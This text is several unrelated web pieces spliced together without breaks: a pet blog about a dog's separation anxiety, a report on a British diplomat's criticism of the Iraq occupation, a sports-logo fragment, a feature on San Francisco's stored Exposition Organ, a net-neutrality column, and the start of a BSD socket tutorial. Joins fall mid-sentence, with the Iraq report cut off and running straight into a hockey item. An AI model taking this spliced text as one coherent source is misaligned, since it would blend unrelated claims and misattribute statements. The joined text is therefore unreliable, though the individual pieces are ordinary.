Back to Benji’s arrival and the aftermath of his arrival. Within a week or so Benji decided he would start to try and take the house apart, piece by piece. First he decided to eat the wallpaper in the hallway (and some plaster for good measure). This was very closely followed by him deciding he had an acquired taste for the hallway carpet too. This was closely followed by expensive earphones, a fitbit, too many pairs of shoes to mention, basically anything Benji could get his paws/ jaws on would be fare game. Three months in i’m thinking, I didn’t realise it would cost me this much. The list is endless of what Benji devoured as we continued to persist with the training and advice we had received. Very often the first thing someone says or thinks is it must be a lack of exercise or mental stimulation that’s accountable for this behaviour but in Benji’s instance it all seemed to stem from separation anxiety. By nine months Benji was still prone to the occasional shoe attack but was significantly more relaxed when being left along for a short time as he began to accept that it wouldn’t be long for you to arrive home.
The one remaining issue revolved around the herding and nipping of my seven year old son. He wouldn’t be able to go anywhere without Benji letting him know he wasn’t happy about it. Over time Benji has realised that my son is above him in the pecking order in the house and now just shadows him everywhere.
Now at nearly two years old Benji has grown into an incredibly bright, happy and very loyal young dog. He shadows me everywhere I go but I wouldn’t change anything for the world.
He learns new tricks constantly and is calming down all the time.
I will be writing a new post soon concentrating on the relationship between Benji and his Cat friend soon so please stay tuned for further posts.
Thanks for reading
Benji and Family
Benji and Fred
AdvertisementsBritain found itself in a subservient, as much as a special, relationship with the US over the invasion and occupation of Iraq from 2003 and was rarely able to overturn sometimes ill-informed American decision-making, the lead British administrator in Iraq in 2004 has claimed.
Giving a unique insight into the realities of the UK-US relationship at a time of stress, Sir Jeremy Greenstock, a former UK ambassador to the UN and one of Britain’s most highly regarded diplomats, suggested that British influence over the US during the war was at the margins.
Iraqi troops enter Mosul for first time since 2014 Read more
“We were in the second-class carriage not driving the engine,” he said, adding that the US administrators “saw Iraq as an American project in every sense that mattered and only Americans – and the right Americans at that – were qualified to conduct it”.
Greenstock said the shadow of the war still hung over contemporary politics, and even the current isolationism in the UK revealed in the Brexit vote could be traced back to “the British public’s distaste for the Iraq war”. “The elite and the superpower is no longer accepted,” he said.
In his book Iraq: the Cost of War and accompanying Guardian interview, Greenstock also suggested that the rebellion against Syria’s Bashar al-Assad may have happened regardless, but said the “predatory emergence of al-Qaida and then Islamic State at the heart of the Syrian opposition was made far more likely by the survival of [Isis leader] Abu Bakr al-Baghdadi in Iraq and by the battle-hardening experience of the resistance there”.
Greenstock abandoned plans to publish the book in 2005 after complaints from the then foreign secretary, Jack Straw, but it has now been released with Whitehall consent following publication of the Chilcot report in the summer. Sir John Chilcot is due to give evidence to parliament’s liaison committee on Wednesday.
Greenstock said the Iraq episode had done immense damage to US standing. “To most people on the planet now it is unacceptable for the US on its own to interpret international legitimacy.”
Due to wider changes in society, he claimed, “America’s pure moral authority is no longer greater than if it was a small island state”.
The whole US Iraq effort was dysfunctional, he said, because the political and military wings were not unified, and there was an optimism culture that discouraged open debate. Colin Powell, the then secretary of state, took to reading UK rather than US telegrams from Baghdad to find out the the truth of the chaos in Iraq. Greenstock likened the US’s Baghdad-based Coalition Provisional Authority (CPA) to “a cowboy operation”, adding that its size was that of an embassy rather than a functioning government, its true role in the wake of the invasion.
In one of the cardinal themes of the book, Greenstock argued: “Throughout the whole Iraq saga the UK never had a significant impact on US policy formulation.”
He added: “We have got to understand that, for all the rhetoric, we have different backgrounds, different values, different working methods, different psychologies, in approaching a serious military or politico-military operation; that not only is it quite difficult to inter-operate with the Americans, but that Americans don’t inter-operate well with each other.
“America will make its decisions on American advice, within American procedures and politics. They do not close doors, but they do not open the doors where the final decisions are made. It would not have occurred to Donald Rumsfeld to consult the British every time he took a corner on the road.”
Facebook Twitter Pinterest Paul Bremer (right) jealously guarded decision-making, according to Greenstock. Photograph: Marco Di Lauro/Getty Images
He said: “I sensed from the main UK official, Nigel Sheinwald, who was in constant conversation with the US national security adviser, Condi Rice, that there were limits on what we could say to Washington. So many things were going wrong in 2004, Britain could not raise them all at the same time. It is a junior cousin status, and you can only play the relationship for as far as the elastic will give.”
An additional problem was that the UK’s excellent contacts with the US state department were redundant due to postwar planning being handed to the Pentagon, where UK contacts with the true decision-makers were very thin.
Tony Blair, Greenstock said, was constantly having to judge how much to load on to any one conversation with George W Bush for fear the door would be slammed shut. Greenstock suggested: “Perhaps because we have adopted the role of first ally, we over-expect that we have some privileges in the decision-making process.” Greenstock felt forced to remind UK cabinet ministers that although Britain might want 50% of the influence it only provided 2% of the resources in the war.
Greenstock added: “I personally believe that the prime minister liked to avoid rows, and therefore he wasn’t going to take things through to a hard argument with Washington.”
He said Blair’s senior advisers were exasperated because the prime minister would not draw a clear line on what the UK was prepared to do.
The UK was not consulted on key decisions such as the appointment of the CPA leadership, the decision to stay in Iraq until elections were held or the orders requiring tens of thousands of Ba’ath party officials to be sacked, he said.
“Bush got the mission wrong,” Greenstock said. “It was too narrowly focused on getting rid of Saddam Hussein and not the next stage, otherwise he would have insisted on a different military mission. The Brits were too trusting in assuming the Americans had thought what sort of Iraq they wanted.”
He revealed that as UK representative to the CPA in Baghdad he was ordered by Paul Bremer, the lead US CPA official, to be loyal to the US. He said he was systematically excluded from all meetings on oil contracts, electricity, money, and prisons. He was also excluded from most meetings on US intelligence or security.
He claimed Bremer’s “jealous guardianship of decision-making shut out the kind of brainstorming discussion at which the UK made the best contributions”.
In his sharpest criticism of Blair, he said the prime minister allowed his reasons for going to go to war to shift from British to US reasons, so embracing the concept of regime change. This disturbed his closest advisers and led to his wider unpopularity, he claims.
Greenstock exonerated Blair from the charge of committing himself to war regardless of Saddam’s behaviour or deliberately misleading the public about Saddam’s possession of biological weapons. He said Blair would have preferred a peaceful outcome with compliance by Saddam with the UN weapons inspectors. He claimed that as late as weeks before the war started Blair would have been overjoyed if Bush had said he would delay the invasion.
“The prime minister would have been, if he had been in sole control of this, much more comfortable with making a decision on war after the summer [of 2003] than before the summer. But there was no way that we were going to get that out of the Americans. So in that sense we were on a timetable of American making, which we couldn’t escape from, and therefore the prime minister’s decision was absolutely black or white. Either he went with them or he did not. He didn’t have a third route.”
He claimed the British were willing to fly blind alongside the Americans, and that they were totally unprepared for the occupation and had not adequately assessed the risks or the need to ensure security after the fall of Saddam. He also suggested Blair did not make sure the UK government addressed the crisis as it developed in 2004. “What I thought was structurally weak was that there was no clear political responsibility taken at an elected level below the prime minister in London,” he said.
He wrote scathingly: “Choices were made with a best-case scenario, with no insurance policy in place for the worst outcome. The US suffered a ‘reveal no weakness’ mode with no one clearly accountable for the results. The Americans worked on |
one logo that may have been more logical to go back to," Chipman told the Winnipeg Free Press on Friday night. "We thought we had the freedom to try something new, but also make it very meaningful to the community."The Jets will play their first regular-season game on Oct. 9 against the Montreal Canadiens at the MTS Centre.Deep beneath San Francisco’s Civic Center Plaza, in a windowless bunker called Brooks Hall, a 40-ton pipe organ gathers dust. Known variously as the Exposition Organ and Opus 500, the century-old instrument was a mechanical and musical wonder when it was unveiled in 1915, the seventh-largest organ in the world.
“The city of San Francisco, this pretentious fishing village, has never respected its own heritage or history.”
Back then, thousands of people a day attending the Panama-Pacific International Exposition applauded its soaring crescendos and rib-rattling swells. Today, the organ’s 7,500 pipes and countless other parts sit silent and in pieces, packed into boxes and crates spread across 3,600 square feet of concrete, basement floor—in some places, the crates are stacked 12 feet high. To prepare a new site for the instrument, move it, put the thing back together again, and then tune it could cost upwards of $2 million, assuming, of course, you could find a home for the finished instrument. So far, no one has.
That may be about to change. Although details are still under wraps, members of a group known as the Friends of the Exposition Organ have told us that after years of looking, they may have finally found a new home for Opus 500.
“In the past,” says Vic Ferrer, a documentary filmmaker and one of the Friends, “we have had discussions with potential takers from as far away as Korea. But this is San Francisco’s municipal organ. It’s the people’s instrument. It has been part of our city for almost 100 years. It belongs here because it’s a part of our cultural heritage, as important to San Francisco as the cable cars and the Golden Gate Bridge. Fortunately, we have found an owner of a local venue who loves the idea of this one-of-a-kind instrument being heard again in a new, permanent home. Now,” adds Ferrer, “we just have to raise the funds to make it happen.”
Built expressly for the Panama-Pacific, which ran from February to December of 1915, the organ was first housed in Festival Hall, a domed, 3,782-seat, Beaux Arts pile of plaster and burlap that filled and emptied twice a day with enthusiastic crowds eager to hear the great English organ virtuoso, Edwin H. Lemare, work his magic behind the organ’s state-of-the-art console. At the close of the Exposition, when most of the temporary structures built for the world’s fair were destroyed, the instrument was moved to the city’s new Exposition Auditorium, which was built across town near City Hall and paid for with surplus funds from the Exposition. Shortly after its construction, the building was renamed Civic Auditorium and is now known as Bill Graham Civic Auditorium.
Like Festival Hall, the city’s new Civic Auditorium was designed for Opus 500, which remains the largest, most important non-structural artifact from the Exposition. The first performance in its new home was held on Easter Sunday, 1917, with Lemare again manning the keys, pedals, and stops. The last sound the organ made occurred sometime before October 17, 1989, when the Loma Prieta earthquake sent a wall of plaster crashing down on its pipes, baffles, and air box, all of which, by a cruel trick of fate, had only recently been restored.
Loma Prieta set neighborhoods on fire, flattened an elevated freeway, and shook a hole in the Bay Bridge, which is why repairing the damage to the Exposition Organ was not exactly at the top of anyone’s to-do list. In fact, it took almost five years for city officials to decide the fate of the wounded behemoth slumbering in the crippled auditorium. Finally, in mid-1994, FEMA funds in hand, all but the organ’s largest pipes and its pair of 20-horsepower blowers (each about the size of a VW Beetle) were trucked to the Austin Organ Company’s Connecticut headquarters, where the instrument had been built almost 100 years before.
Repairs were well under way when, in January of 1995, completely out of the blue, the city of San Francisco’s contractor halted work on the organ, claiming the $1,293,747 in federal monies earmarked expressly for the organ’s repair were now required for asbestos abatement back at the Civic Auditorium, which, by the way, was being remodeled as if the organ would never be returned to its rightful home. Organ supporters cried foul, and a good deal of finger pointing ensued until a compromise was struck to finish the work already in progress back at Austin, but nothing more. After Austin finished its interrupted work, the organ’s pieces were trucked back to San Francisco and unloaded into Brooks Hall, where Opus 500 has languished for almost two decades. In the end, the contractor was able to divert $450,000 in FEMA funds designated specifically for the organ’s repair to other purposes. In retrospect, this diversion of FEMA funds may have been illegal, but it’s way too late to do anything about that now.
Today, about 85 percent of the organ is ready for assembly. Many of its smaller pipes, some as delicate as penny whistles, are still packed in the boxes the Austin Organ Company shipped back to San Francisco in 1995. The larger façade pipes that never made the trip to Connecticut rest on specially designed cradles, while the organ’s longest pipe (32 feet) lays directly on Brooks Hall’s unforgiving concrete floor, the weight of the rolled-zinc pipe’s 600 pounds deforming its tube shape into a bloated oval, resembling a giant, dusty tapeworm rather than an instrument meant to deliver heavenly sounds to the ears of God.
Despite its hard-to-hide size and well-documented history, most San Franciscans have no idea this gargantuan beast sleeps in their midst. Indeed, some of its keenest supporters spent most of their lives in San Francisco clueless to the instrument’s presence. One such supporter is Michael Evje, a classically trained pianist, who along with Vic Ferrer and a former church organist named Justin Kielty comprise the Friends of the Exposition Organ.
“I was having dinner with Justin a number of years ago,” says Evje, “and he mentioned Opus 500. I said, ‘What’s Opus 500?’ and he told me the story. I’m a San Francisco native, but I didn’t go into Civic Auditorium very much, so I was totally unaware that there was an instrument in there, let alone the rest of its history. And I thought, ‘Why in the world is this thing not up and playing?’ That’s when I decided to do what I could to help.”
Filmmaker Vic Ferrer got involved with the Exposition Organ in 1997, when a group of organ enthusiasts were trying to drum up support for a plan to relocate the instrument from its purgatory in Brooks Hall to a new home they were calling the Embarcadero Music Concourse and Organ Pavilion, which was slated to be built near the Ferry Building on the San Francisco waterfront.
“The idea,” says Ferrer, “was to put it in an outside pavilion, much like the Spreckels Organ in San Diego’s Balboa Park. The group was starting to raise funds, and they had an architect who was designing a structure. I decided to document the organ’s story, from its beginning in 1915 to its anticipated grand rebirth on the Embarcadero. Unfortunately, voters nixed the Embarcadero project, of which the organ was only one part, in 2004, and so it never came to be. My story more or less died.”
During the organ’s years in Brooks Hall, successive waves of supporters came and went, from a group associated with the American Guild of Organists to those who had been working for its relocation to the Embarcadero. Often these supporters didn’t agree on what would be best for Opus 500, and in the end, says Ferrer, “everybody kind of gave up on the instrument, and I found myself holding the flame. That’s when I decided to recruit other people who were also interested in rescuing this instrument and bringing it back to life. And so Justin Kielty and I formed the Friends of the Exposition Organ. Justin brought in Michael, and for the last six or seven years now, the three of us have been pushing this project forward.”
Of the three Friends, Justin Kielty, who was a church organist for some 60 years, has the longest relationship with the instrument, going back to the mid-1950s, when he was in high school. “There was a convocation down at Civic Auditorium for the archdiocese of San Francisco,” Kielty remembers. “They used to rent the Civic Auditorium for graduation ceremonies and things like that.”
On one of those occasions, the acclaimed organist Brother Columban Derby was scheduled to play the Exposition Organ. During rehearsal, Kielty and a friend snuck up to the instrument’s console to copy down as many of its 100-plus stops (the knobs pulled to open specific “ranks” of pipes) as he could before anyone noticed. “I had a little brown binder that had the specifications of almost every organ in the city,” Kielty recalls of his youthful hobby. “One that I did not have was Civic.”
Unfortunately for Kielty, the legendary organ master Louis Schoenstein caught the youngster in this benign act. “He was not very happy,” recalls Kielty, in his best deadpan. “He asked me what I was doing, and when I told him I was copying down the specifications, he told me to get the hell out of there.”
As a young man, Schoenstein had helped his family’s business, Felix F. Schoenstein & Sons, install Opus 500 at both the Panama-Pacific International Exposition and the Civic Auditorium. Given his long history with the instrument, Schoenstein personally oversaw the care and maintenance of the organ for the city of San Francisco, including keeping its secrets from the prying eyes of smart-aleck high-school kids.
As Kielty remembers it, though, Schoenstein also had a forgiving side, which he revealed later that same day by giving the inquisitive teenager a behind-the-scenes tour of the organ’s air box while the blowers were on.
“It was a fascinating experience,” Kielty remembers, as if it was yesterday. “You’d walk up to a little door, and I mean a little door, and there was a flap in the center, sort of like at a speakeasy where you’d ring a doorbell and someone would peek out to decide whether to let you in or not. When you pushed this hole in the door, the air pressure inside the box would exhaust the air lock, otherwise you couldn’t open it. Then you’d go into a little vestibule with another door beyond that, where you’d do the same thing. Your ears would pop as the little vestibule filled back up with air. Then and only then could you open the door to the main chamber. They used to say you could seat 75 people in there for dinner. As a matter of fact, the Schoensteins, who sometimes had to be on duty all day and night when conventions and things like that were going on, actually used to eat their lunch and dinner in there.”
Today, that chamber is in pieces, waiting to be reassembled and filled with the air that, at the organist’s command, is forced through more than 100 ranks, or groups, of the instrument’s 7,500 pipes.
Despite all these pieces, the Exposition organ is a relatively simple machine. There’s the console with its keys, pedals, and stops, a pair of blowers, the air box, and a whole lot of pipes. The organist sits at the console, which in the case of Opus 500 has four manuals or keyboards (each similar to a piano’s keyboard, but with 61 keys instead of 88) and a pedalboard, whose 32 notes are played with the feet. There are also more than 100 stops, which open up groups of pipes of various pitch when pulled (the manuals dictate the actual notes). While the pedal keyboard generally plays the lower base notes and the manual keyboards the higher registers, together the organ’s pitch-range exceeds that of any other instrument, or even most collections of instruments.
“Any type of organ in storage is in peril,” says Hochhalter. “There are just too many things that can go wrong.”
Regardless of their size, all pipes stand on top of the air box, which is pressurized by two 20-horsepower blowers. When the organist depresses a key or foot pedal, valves called pallets open at the base of the pipes associated with that note, letting the air in the chamber rush through any of the pipes that have previously been made accessible to airflow when the organist pulled open a stop. The console for Opus 500 is designed to send its signals to the pallets electronically, which is why there are more than 100 miles of wire running through the instrument.
The greatest organist ever to sit behind Opus 500’s console was Edwin Lemare, who performed 121 concerts on the organ when it was housed in Festival Hall in 1915. He was paid a then-staggering $10,000 to play the instrument, whose keys and stops were faced with ivory.
Lemare’s tenure began inauspiciously. In fact, according to historian Nelson Barden, it almost didn’t begin at all. In February of 1915, when the Exposition opened, Europe was at war, and the waters around England where Lemare lived had been declared an exclusion zone by Germany. Complicating matters, Lemare’s third wife, Charlotte, was expecting her second child. But Lemare was determined to get to San Francisco, lest his lucrative contract for 100 performances, which were supposed to begin in June, was cancelled. Thus, the family booked passage on the Lusitania, due to leave Liverpool on May 11 after it had steamed across the Atlantic from New York.
As any school kid who has studied World War I history knows, the ship never made it to England, sunk by a German torpedo, killing almost 1,200 passengers and crew. Crossing the Atlantic was now deemed a hazardous trip, but somehow, despite the tragedy of the Lusitania and the hostilities raging around him, Lemare managed to get a ship on August 4. A month later, his family, including his newborn daughter, secured berths on the last passenger steamship to leave Liverpool until the war’s end in 1918.
Against this emotional backdrop, it must have been a serious disappointment to Lemare when only 400 people showed up for his first recital on August 25, 1915. But that would be one of his few concerts not to sell out at 10 cents a ticket, a premium over and above the 50-cent admission to the Exposition itself. By the end of the Exposition, more than 150,000 people had paid their dimes to hear Lemare, which means he raised $5,000 more than his salary for Expo organizers.
Despite its magnificence, the organ was never the draw. Rather, it was what Lemare did with it. His repertoire typically included everything from Bach fugues to his own famous composition, “Andantino in D-flat,” which, in 1921, became a popular song of the day, “Moonlight and Roses” when Ben Black and Charles N. Daniels added lyrics to the melody (Lemare had to sue to collect his share of the royalties). Lemare also took requests, though not for songs or specific pieces of music. Instead, musically literate audience members would write three-bar themes on slips of paper, and then Lemare would choose the ones he liked best and improvise on them. For encores at Festival Hall, Lemare gave the crowds gathered for the world’s fair a deliberately patriotic rouser, “The Stars and Stripes Forever.”
After the Exposition closed, Lemare was hired as the city of San Francisco’s first, and last, Municipal Organist, for which he was paid his by-now familiar rate of $10,000 per year. At a time when the average annual U.S. salary was only $1,000, and the head of the San Francisco Board of Supervisors, J. Emmet Hayden, was making $1,500, this rubbed many the wrong way. Indeed, Hayden led the campaign to lower Lemare’s salary. In a bid to appear magnanimous, Lemare volunteered a reduction of own, though not as much as his critics were demanding. By November of 1920, Lemare’s salary had become such a political hot potato that voters approved an ordinance reducing his salary to just $3,600. While still handsome, this new rate struck Lemare as a personal rebuke, so he quitted San Francisco and went off to become the municipal organist of Portland, Maine, and then Chattanooga, Tennessee, each of which had its own Austin organ, which were built in Hartford, Connecticut, by the same Austin staffers who designed and assembled Opus 500. (A two-year, $2.6-million restoration and reinstallation effort in Portland is on budget and on schedule.)
Lemare returned to San Francisco in 1925 to play a sold-out engagement at the Civic Auditorium, but by then, organ recitals had largely fallen out of favor. The sonorous sounds produced by pipe organs seemed tired and treacly compared to the fun, fast-paced rhythms and toe-tapping beats of 1920s jazz, which was widely promoted in clubs and on a recent invention, the radio. In the decades that followed, the Exposition Organ in the city’s Civic Auditorium would be played less and less, a quaint albatross from a bygone era. In some respects, the instrument was already in storage, except that its parts were fully assembled and it was housed in a room designed to bring out its best. But in 1962, even that benefit was eliminated when an ill-conceived remodel of the hall sucked the life out of the organ’s acoustics. Those who heard it before 1962 and afterwards swear the instrument never sounded the same.
Edward Millington Stout III, considered the dean of the San Francisco organ scene, is one of those people who heard Opus 500 before and after the remodel. Stout knows how to get the most out of everything from modest movie-theater Wurlitzers to classical organs like the one at San Francisco’s Grace Cathedral, where he served for 42 years as the institution’s organ curator. For Stout, the reason for Opus 500’s auditory decline after the Civic’s disastrous facelift in 1962 is hardly mysterious.
“Over the centuries,” Stout says, “cathedral designers figured out that the best position for an organ was in the back gallery, halfway up the wall. The position of the pipe chamber, the wind chest, and so forth is crucial. And then, how jubilant the organ sounds depends on the room it’s speaking into, in terms of both its cubic volume and reflective surfaces. So, when they lowered the ceiling in the Civic Auditorium above where the organ sat, it lost a lot of its luster and impact. They basically ruined a fine room by radically changing its acoustics. But the city of San Francisco,” Stout adds, “this pretentious fishing village, has never respected its own heritage or history. The cable cars would all be gone if some ladies hadn’t made a big squawk. It’s an old story.”
For supporters of the Exposition Organ, saving this irreplaceable piece of the city’s heritage is an opportunity to right a wrong, as well as to avoid painful mistakes that lost the city landmarks such as the incomparable Fox Theatre, which was unceremoniously leveled in 1963 to make way for the joyless, 29-story nightmare of an office building that replaced it (silver lining: the Fox’s 4,000-pipe Wurlitzer was saved, and is now housed in Hollywood’s El Capitan Theatre).
“Hearing a pipe organ in an acoustically beautiful space, where the bass notes rumble your body and the high notes bloom, will change you,” says Vic Ferrer. “Pipe organs have this bad rap as being about weddings and funerals. They’ve become a joke, like the church lady on ‘Saturday Night Live.’ But that is so far from what a pipe organ really is. These are works of art worthy of preservation.”
After Louis Schoenstein retired and before Loma Prieta damaged the Exposition Organ in 1989, Jack Bethards was in charge of this work of art. “When I bought Schoenstein & Co. from the Schoenstein family in 1977,” he says, “I ended up being the main custodian of the organ, doing most of the tuning and so on. It was a wonderful experience to work on that beautiful instrument.”
Bethards admires Opus 500 for multiple reasons. “First of all, it is a solid, well-designed, beautifully voiced musical instrument. It’s not just a big curiosity. In addition, the Austin organ is a fantastically brilliant bit of technology and invention. It’s efficient to maintain, efficient to build, efficient to install. It’s really a wonder of the industrial age, a marvel of engineering. There’s no concert organ of its type anywhere in California, or even in the West,” he adds.
All of those sterling qualities are expensive, but back in the day, organs like Opus 500 were populist instruments, allowing listeners to enjoy a symphonic concert experience for only a dime. “You have to remember,” says Ferrer, “that not everybody got to go to the symphony back at the turn of the 20th century. A symphonic organ like Opus 500 is capable of producing all the different timbres to mimic what a symphony actually sounds like, allowing the organist to replicate what the composer meant his audiences to hear. The organ was a way for the masses to access Wagner.”
In fact, a quick scan of the organ’s stops, which are the knobs the organist pulls out to open ranks of pipes, reveals the orchestral roots of the instrument. On Opus 500, there are stops labeled Flute and Piccolo, others designating all sorts of flavors of Tuba, Trumpet, and Trombone. The Vox Humana stop produces choirs and choruses, while pulling out Voix Celeste summons strings.
That’s just a sample of what the organ can do, but it’s nothing more than an enormous noisemaker without the right room. “The pipe organ itself is only half of the instrument,” says Ferrer. “The other half is the room the instrument speaks into. The room becomes the sounding board, almost like a piano’s sounding board or the back of a cello. The room influences the sound.”
When the ceiling in the Civic Auditorium was lowered, the acoustic influence was largely negative, which may have been one of the unsaid justifications for kicking Opus 500 to the curb when it was sent back east for repair in 1994. After all, if the thing didn’t even sound like it was supposed to anymore, why bother to reinstall it? But that level of logic assumes that the powers that be actually cared about the Exposition Organ at all. More likely, someone just wanted the floor and wall space, unencumbered by an enormous pipe organ.
“It took up a huge amount of space,” says Lanny Hochhalter, a respected pipe organ tuner and technician, who happened to be working at Austin when more than 30 tons of Opus 500 were scattered about the company’s Connecticut headquarters for repair. “Its footprint was 46 feet wide by 20 feet deep, and it was set on a nice platform above the stage. That real estate probably looked pretty attractive to somebody, or at least that’s my theory.”
Hochhalter also blames changes in musical tastes for the instrument’s eviction, as classical music forms were steadily pushed aside by pop. “When Lemare played recitals on it, they filled up the Civic Auditorium,” he says. “But when he moved on, the novelty petered out. Churches would rent the Civic Auditorium for conventions, and the organ would get played on special occasions, like when the symphony wanted to use it for a particular piece. But the Civic Auditorium is such a vast building. You couldn’t have a normal organ recital in there.”
“Hearing a pipe organ in an acoustically beautiful space, where the bass notes rumble your body and the high notes bloom, will change you.”
“If you wanted to hold a concert in the Civic Auditorium,” agrees Justin Kielty, “you’d have to sell a hell of a lot of tickets. Just to have someone from the union turn on the electric blowers was a $500 deal. To use the Civic Auditorium for even a small concert, you were probably looking at five grand in expenses, at least.”
Despite these negatives, from the lowered ceiling that compromised the organ’s sound to the crazy expense of even turning the thing on, having the instrument exiled to Brooks Hall added injury to insult. “Ed Stout once told me that the worst thing you can do to a pipe organ is to remove it from its building,” remembers Vic Ferrer, “because once you remove it, there will always be nefarious forces out there who will want to keep it from coming back in. Unfortunately, that’s exactly what happened at the Civic Auditorium.”
Now that a new home for Opus 500 is on the horizon, the Friends are thinking about ways to make sure the organ will never be uprooted again. “We see the reinstallation of the Exposition Organ as an educational opportunity,” says Kielty, recalling the privileged tour he got of the instrument at an impressionable age. “We’re modeling our plans after several other successful pipe-organ installations around the country, in which the instrument is playable but can also function as an exhibit, with windows and access to allow students of all ages to get a behind-the-scenes view of how a pipe organ works. Understanding the basics of wind pressure, pipe design, and the organ’s control mechanisms affords the viewer an extraordinary demonstration of physics, mathematics, metallurgy, and, of course, music.”
Doing everything they can to make sure the Exposition Organ will be secure in its potential new home is critical because the Friends know the clock is ticking. On the most basic level, there’s a strong sense the instrument has worn out its welcome in Brooks Hall, and that the city would like to use the not-insignificant amount of floor space it consumes for other purposes.
“The city has other storage areas where they actually have to pay rent,” says Evje. “What they’d like to do is eventually clear the organ out of Brooks Hall to reduce their outside-storage costs for other things. Plus, there’s a whole generation of people in City Hall who don’t even know of its existence,” says Evje. “It’s out of sight, out of mind.”
Supporters are also concerned about the storage itself. “The things we worry most about are flooding, fire, and vandalism,” says Kielty. “We came close a couple of times on vandalism.”
“Any type of organ in storage is in peril,” agrees Hochhalter. “There are just too many things that can go wrong. For example, the organ’s underground, so if a water main breaks above it, that could easily destroy the organ. We’ve had rats and mice in there, and a few feral cats. All of that can cause damage. And those big, long pipes are meant to stand up. They’re not designed to lay on their sides.”
Time is also not their ally when it comes to the loss of continuity at Austin. “Imagine dismantling a pocket watch and putting it in a drawer for 20 years,” asks Hochhalter, “and then trying to reassemble it. I’ve talked to the guys at Austin, and they’re starting to forget what was done.” Sure, there was documentation, he says, but the erosion of the institutional memory at Austin will only make the remaining repairs that much more difficult, and costly.
And then there’s 2015, the 100-year anniversary of the Panama-Pacific International Exposition, perhaps the most important deadline of all. When it comes to bringing history to life for people, a centenary can be a powerful catalyst, prompting press attention and the interest of donors. For the Friends of the Exposition Organ, 2015, now less than a year away, is perhaps their most persuasive call to action to would-be supporters.
“We are on a very, very tight timeline,” says Kielty. “It’s not just a matter of moving this beast into its new home, but getting it up and running again. If pieces have to go back to Connecticut, that will take time. We know the façade pipes are going to need work, and somebody may have to build a few new tuba pipes. All of this is going to take time. You don’t just say, ‘Do it’ and then everything is fixed in a week. It doesn’t work that way. So we’re under the gun, and if we’re going to get it done in time for the celebrations being planned for the Exposition’s centenary, we’re going to have to get moving, like now.”
(Special thanks to the following people and organizations for their help with this article, including research sources and photographs: Jack Bethards; Lanny Hochhalter; Austin Organs, Inc.; Charles Swisher; Nelson Barden; Edward Millington Stout III; and The Seligman Family Foundation. For more information about the Exposition Organ, visit Friends of the Exposition Organ.)The Internet community is an amorphous entity, but when the government tries to mess with it, it can rise up as one and show its power. The Federal Communications Commission is seeing that with its attempt to add a so-called Internet fast lane.
Perhaps that's because most of us recognize that the strength of the Internet is that it's an open platform where everyone, from garage startups to Google and Facebook, has equal opportunity. For the most part, even the big guys recognize the power of this approach and don't want to mess with it.
But not all of them. Last month, Netflix opened the door to the notion that some companies could have special access when it cut a deal with Comcast to boost its speed. It was kind of forced into it because Comcast appeared to have been throttling Netflix's speed for Comcast customers for some time. (As a Comcast customer, I can tell you that I saw a noticeable difference before and after the deal.)
Perhaps not coincidentally, just a short time later, FCC Chairman Tom Wheeler floated his now infamous "fast lane" proposal. The idea on its face sounds semi-reasonable: Create a two-tiered system on the Internet, in which heavy users like Netflix pay more to access the network. But what may sound plausible on paper could get messy in a hurry. As Delara Derakhshani, policy counsel for Consumers Union, told the Los Angeles Times, "It could create a tiered Internet where consumers either pay more for content and speed, or get left behind with fewer choices."
It didn't take long for the backlash, or for Wheeler to begin to back down in the face of stinging criticism. As David Carr pointed out in The New York Times this week, we've seen this type of reaction before. The Internet rose as one when Congress proposed the Stop Online Piracy Act (SOPA), with the Internet glitterati coming together to stop it. Sites like Reddit and Wikipedia went so far as to shut down for a day in protest. The powers that be heard that message loud and clear, and it appears they are hearing the Internet community this time around too.
Now we have Wheeler beginning to vacillate, but sounding a bit like the revised commandments in George Orwell's Animal Farm: Everyone on the Internet will remain equal, but some users will be more equal than others. And it all comes to a head tomorrow when the FCC votes on this proposal.
Can these political appointees on the FCC board really stand up to the likes of Comcast? It's a tough question, especially since many use the FCC as a steppingstone to high-paying industry jobs when they leave the commission. It's hard to say no when you know that the guy you're saying no to could be cutting you a fat check in a couple of years to work for him.
Yet the power of the people does sometimes shine through this morass of corruption and special interests, and if the Internet community can come together and raise one voice, it's possible that even the FCC will listen.
It's happened before, but in that case the party that caved was Congress, whose members have to answer to the voters at some point. They couldn't ignore the rancor of their constituents. The FCC board members don't answer to anyone, except perhaps the president, and it's hard to gauge his influence or his interest in the case.
One thing is certain: The Internet community is unhappy. It will be interesting to see if the FCC responds to the will of the people or the will of the industry lobby. I remain hopeful but cynical on that point.
Ron Miller is a freelance technology journalist and blogger. He is an editor at FierceContentManagement and a contributing editor at EContent Magazine.Welcome to the wonderful world of portability... or rather the lack of it. Before we start analyzing these two options in detail and take a deeper look how different operating systems handle them, it should be noted that the BSD socket implementation is the mother of all socket implementations. Basically all other systems copied the BSD socket implementation at some point in time (or at least its interfaces) and then started evolving it on their own. Of course the BSD socket implementation was evolved as well at the same time and thus systems that copied it later got features that were lacking in systems that copied it earlier. Understanding the BSD socket implementation is the key to understanding all other socket implementations, so you should read about it even if you don't care to ever write code for a BSD system.
There are a couple of basics you should know before we look at these two options. A TCP/UDP connection is identified by a tuple of five values:
{<protocol>, <src addr>, <src port>, <dest addr>, <dest port>}
Any unique combination of these values identifies a connection. As a result, no two connections can have the same five values, otherwise the system would not be able to distinguish these connections any longer.
The protocol of a socket is set when a socket is created with the socket() function. The source address and port are set with the bind() function. The destination address and port are set with the connect() function. Since UDP is a connectionless protocol, UDP sockets can be used without connecting them. Yet it is allowed to connect them and in some cases very advantageous for your code and general application design. In connectionless mode, UDP sockets that were not explicitly bound when data is sent over them for the first time are usually automatically bound by the system, as an unbound UDP socket cannot receive any (reply) data. Same is true for an unbound TCP socket, it is automatically bound before it will be connected.
If you explicitly bind a socket, it is possible to bind it to port 0, which means "any port". Since a socket cannot really be bound to all existing ports, the system will have to choose a specific port itself in that case (usually from a predefined, OS specific range of source ports). A similar wildcard exists for the source address, which can be "any address" ( 0.0.0.0 in case of IPv4 and :: in case of IPv6). Unlike in case of ports, a socket can really be bound to "any address" which means "all source IP addresses of all local interfaces". If the socket is connected later on, the system has to choose a specific source IP address, since a socket cannot be connected and at the same time be bound to any local IP address. Depending on the destination address and the content of the routing table, the system will pick an appropriate source address and replace the "any" binding with a binding to the chosen source IP address.
